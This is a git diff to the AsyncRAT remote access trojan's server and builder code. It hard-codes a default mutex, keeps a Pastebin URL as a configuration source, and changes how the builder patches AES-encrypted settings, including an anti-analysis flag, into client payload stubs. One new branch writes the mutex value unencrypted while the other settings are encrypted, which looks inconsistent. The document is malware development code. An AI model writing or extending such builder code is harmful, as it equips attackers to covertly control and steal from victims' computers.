diff --git a/AsyncRAT-C#/Server/App.config b/AsyncRAT-C#/Server/App.config
index d96bd9d..18b12c2 100644
--- a/AsyncRAT-C#/Server/App.config
+++ b/AsyncRAT-C#/Server/App.config
@@ -21,7 +21,7 @@
         <value>True</value>
       </setting>
       <setting name="Mutex" serializeAs="String">
-        <value />
+        <value>AsyncMutex_6SI8OkPnk</value>
       </setting>
       <setting name="Pastebin" serializeAs="String">
         <value>https://pastebin.com/raw/s14cUU5G</value>
diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs
index 4dd54cf..a7fe8ce 100644
--- a/AsyncRAT-C#/Server/Forms/FormBuilder.cs
+++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs
@@ -95,7 +95,8 @@ namespace Server.Forms
             }
             catch { }
 
-            txtMutex.Text = getRandomCharacters();
+            if (Properties.Settings.Default.Mutex.Length == 0)
+                txtMutex.Text = getRandomCharacters();
         }
 
 
@@ -185,8 +186,6 @@ namespace Server.Forms
                 if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
             }
 
-            if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = getRandomCharacters();
-
             if (string.IsNullOrWhiteSpace(txtGroup.Text)) txtGroup.Text = "Default";
 
             if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return;
@@ -371,7 +370,7 @@ namespace Server.Forms
                 {
                     asmDef.Assembly.Name = Path.GetFileNameWithoutExtension(AsmName);
                     asmDef.Name = Path.GetFileName(AsmName);
-                     if (type.Name == "Settings")
+                    if (type.Name == "Settings")
                         foreach (MethodDef method in type.Methods)
                         {
                             if (method.Body == null) continue;
@@ -430,7 +429,10 @@ namespace Server.Forms
                                         method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));
 
                                     if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
-                                        method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
+                                        if (string.IsNullOrWhiteSpace(txtMutex.Text))
+                                            method.Body.Instructions[i].Operand = getRandomCharacters();
+                                        else
+                                            method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
 
                                     if (method.Body.Instructions[i].Operand.ToString() == "%Anti%")
                                         method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());
diff --git a/AsyncRAT-C#/Server/Properties/Settings.Designer.cs b/AsyncRAT-C#/Server/Properties/Settings.Designer.cs
index 9514bfd..b22ab2b 100644
--- a/AsyncRAT-C#/Server/Properties/Settings.Designer.cs
+++ b/AsyncRAT-C#/Server/Properties/Settings.Designer.cs
@@ -61,7 +61,7 @@ namespace Server.Properties {
         
         [global::System.Configuration.UserScopedSettingAttribute()]
         [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
-        [global::System.Configuration.DefaultSettingValueAttribute("")]
+        [global::System.Configuration.DefaultSettingValueAttribute("AsyncMutex_6SI8OkPnk")]
         public string Mutex {
             get {
                 return ((string)(this["Mutex"]));
diff --git a/AsyncRAT-C#/Server/Properties/Settings.settings b/AsyncRAT-C#/Server/Properties/Settings.settings
index 6330089..8eb3034 100644
--- a/AsyncRAT-C#/Server/Properties/Settings.settings
+++ b/AsyncRAT-C#/Server/Properties/Settings.settings
@@ -12,7 +12,7 @@
       <Value Profile="(Default)">True</Value>
     </Setting>
     <Setting Name="Mutex" Type="System.String" Scope="User">
-      <Value Profile="(Default)" />
+      <Value Profile="(Default)">AsyncMutex_6SI8OkPnk</Value>
     </Setting>
     <Setting Name="Pastebin" Type="System.String" Scope="User">
       <Value Profile="(Default)">https://pastebin.com/raw/s14cUU5G</Value>